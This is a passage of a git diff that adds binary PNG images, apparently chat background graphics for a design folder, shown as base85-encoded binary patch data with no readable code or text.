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 literal 0 HcmV?d00001 diff --git a/design/i/background-chat-right.png b/design/i/background-chat-right.png new file mode 100644 index 0000000000000000000000000000000000000000..8f40d645dea2890a52f15b038727befeab0a819c GIT binary patch literal 14271 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 